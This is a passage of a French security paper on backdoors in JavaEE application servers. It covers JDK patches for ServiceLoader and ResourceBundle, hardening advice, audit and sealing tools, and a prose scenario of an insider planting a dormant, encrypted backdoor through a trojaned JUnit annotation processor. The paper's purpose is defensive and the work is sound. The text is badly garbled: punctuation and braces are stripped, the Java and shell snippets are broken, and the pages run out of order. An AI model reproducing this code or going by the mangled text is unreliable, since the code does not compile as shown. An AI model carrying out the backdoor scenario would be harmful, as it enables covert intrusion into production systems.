install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
430 Porte derobee dans les serveurs drsquoapplications JavaEE
Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
